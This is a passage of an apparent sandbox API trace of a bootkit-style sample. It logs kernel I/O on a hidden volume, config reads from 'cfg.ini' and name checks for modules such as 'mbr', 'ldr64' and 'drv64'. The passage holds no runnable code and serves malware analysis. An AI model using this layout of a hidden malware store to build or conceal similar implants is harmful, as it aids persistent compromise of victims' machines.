(_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.139] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.139] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.139] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf99d0 [0126.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.139] KeLeaveCriticalRegion () [0126.139] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.139] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.139] KeEnterCriticalRegion () [0126.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.139] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.139] KeLeaveCriticalRegion () [0126.140] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.140] KeEnterCriticalRegion () [0126.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.140] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.140] IdePortDispatch () returned 0x103 [0126.140] KeWaitForMutexObject () returned 0x0 [0126.140] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.140] KeLeaveCriticalRegion () [0126.140] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.140] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.140] KeEnterCriticalRegion () [0126.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.140] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034be000 [0126.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.140] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.140] IdePortDispatch () returned 0x103 [0126.140] KeWaitForMutexObject () returned 0x0 [0126.140] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.140] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.140] IdePortDispatch () returned 0x103 [0126.141] KeWaitForMutexObject () returned 0x0 [0126.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.141] KeLeaveCriticalRegion () [0126.141] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.141] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.141] KeEnterCriticalRegion () [0126.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.141] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.141] KeLeaveCriticalRegion () [0126.141] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.141] KeEnterCriticalRegion () [0126.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.141] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.141] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.141] KeLeaveCriticalRegion () [0126.141] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.141] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.141] KeEnterCriticalRegion () [0126.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.141] ExFreePoolWithTag (P=0xfffffa8003bf99d0, Tag=0x0) [0126.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.141] KeLeaveCriticalRegion () [0126.142] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.142] ReleaseMutex (hMutex=0xf0) returned 1 [0126.142] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.142] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.142] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.142] KeEnterCriticalRegion () [0126.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.142] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.142] IdePortDispatch () returned 0x103 [0126.142] KeWaitForMutexObject () returned 0x0 [0126.142] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.142] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.142] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.142] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.142] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.142] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dd5d0 [0126.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.142] KeLeaveCriticalRegion () [0126.142] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.142] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.142] KeEnterCriticalRegion () [0126.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.142] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.142] KeLeaveCriticalRegion () [0126.142] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.142] KeEnterCriticalRegion () [0126.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.142] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.142] IdePortDispatch () returned 0x103 [0126.143] KeWaitForMutexObject () returned 0x0 [0126.143] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.143] KeLeaveCriticalRegion () [0126.143] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.143] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.143] KeEnterCriticalRegion () [0126.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.143] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bf000 [0126.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.143] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.143] IdePortDispatch () returned 0x103 [0126.143] KeWaitForMutexObject () returned 0x0 [0126.143] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.143] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.143] IdePortDispatch () returned 0x103 [0126.143] KeWaitForMutexObject () returned 0x0 [0126.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.144] KeLeaveCriticalRegion () [0126.144] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.144] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.144] KeEnterCriticalRegion () [0126.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.144] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.144] KeLeaveCriticalRegion () [0126.144] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.144] KeEnterCriticalRegion () [0126.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.144] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.144] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.144] KeLeaveCriticalRegion () [0126.144] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.144] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.144] KeEnterCriticalRegion () [0126.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.144] ExFreePoolWithTag (P=0xfffffa80037dd5d0, Tag=0x0) [0126.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.144] KeLeaveCriticalRegion () [0126.144] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.145] ReleaseMutex (hMutex=0xf0) returned 1 [0126.145] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.145] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.145] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.145] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.145] KeEnterCriticalRegion () [0126.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.145] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.145] IdePortDispatch () returned 0x103 [0126.145] KeWaitForMutexObject () returned 0x0 [0126.147] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.147] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.147] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.147] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.147] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.147] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.147] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.147] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.147] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.147] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.147] KeLeaveCriticalRegion () [0126.147] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.147] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.147] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.147] KeEnterCriticalRegion () [0126.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.147] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.147] IdePortDispatch () returned 0x103 [0126.147] KeWaitForMutexObject () returned 0x0 [0126.147] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.147] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.147] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.147] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.147] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.147] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.147] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.147] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.147] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.147] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.148] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.148] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.148] KeLeaveCriticalRegion () [0126.148] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.148] ReleaseMutex (hMutex=0x100) returned 1 [0126.148] Sleep (dwMilliseconds=0x2bf20) [0126.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e642770, dwHighDateTime=0x1d24fa4)) [0126.154] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.154] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.154] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.154] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.154] KeEnterCriticalRegion () [0126.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.155] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.155] IdePortDispatch () returned 0x103 [0126.155] KeWaitForMutexObject () returned 0x0 [0126.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.155] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.155] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.155] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.155] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.155] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800388f7a0 [0126.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.155] KeLeaveCriticalRegion () [0126.155] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.155] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.155] KeEnterCriticalRegion () [0126.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.155] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.155] KeLeaveCriticalRegion () [0126.155] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.155] KeEnterCriticalRegion () [0126.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.155] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.155] IdePortDispatch () returned 0x103 [0126.155] KeWaitForMutexObject () returned 0x0 [0126.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.156] KeLeaveCriticalRegion () [0126.156] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.156] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.156] KeEnterCriticalRegion () [0126.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.156] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c2000 [0126.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.156] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.156] IdePortDispatch () returned 0x103 [0126.156] KeWaitForMutexObject () returned 0x0 [0126.156] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.156] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.156] IdePortDispatch () returned 0x103 [0126.156] KeWaitForMutexObject () returned 0x0 [0126.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.156] KeLeaveCriticalRegion () [0126.156] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.157] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.157] KeEnterCriticalRegion () [0126.157] ExAcquireFastMutexUnsafe (in: 